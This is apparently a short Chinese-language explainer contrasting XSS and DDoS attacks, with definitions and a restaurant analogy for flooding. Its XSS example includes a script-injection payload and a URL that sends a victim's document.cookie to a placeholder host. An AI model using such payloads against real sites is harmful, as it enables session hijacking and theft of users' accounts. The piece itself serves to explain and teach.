xss攻击h和ddos攻击的区别

XSS攻击的定义：

XSS攻击：跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。

DDOS攻击的定义：

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，从而成倍地提高拒绝服务攻击的威力。通常，攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上，在一个设定的时间主控程序将与大量代理程序通讯，代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术，主控程序能在几秒钟内激活成百上千次代理程序的运行。

一、举个XSS的例子

1. 做个假设，当亚马逊在搜索书籍，搜不到书的时候显示提交的名称。

2. 在搜索框搜索内容，填入“<script>alert('handsome boy')</script>”, 点击搜索。

3. 当前端页面没有对返回的数据进行过滤，直接显示在页面上， 这时就会alert那个字符串出来。

4. 进而可以构造获取用户cookies的地址，通过QQ群或者垃圾邮件，来让其他人点击这个地址：

http://域名/search?name=<script>document.location='http://域名/get?cookie='+document.cookie</script>

PS：这个地址当然是没效的，只是举例子而已。

二、举个DDOS攻击的例子：

DDOS主要是流量攻击。

就好比你有一个餐馆（网站、APP），客容量正常是20人（正常访问用户量），忽然有一天冲进来100个人（流量攻击），把你的餐馆堵死，既不吃饭也水说话，就那样坐着影响你做生意。

怎么样，是不是理解清楚了。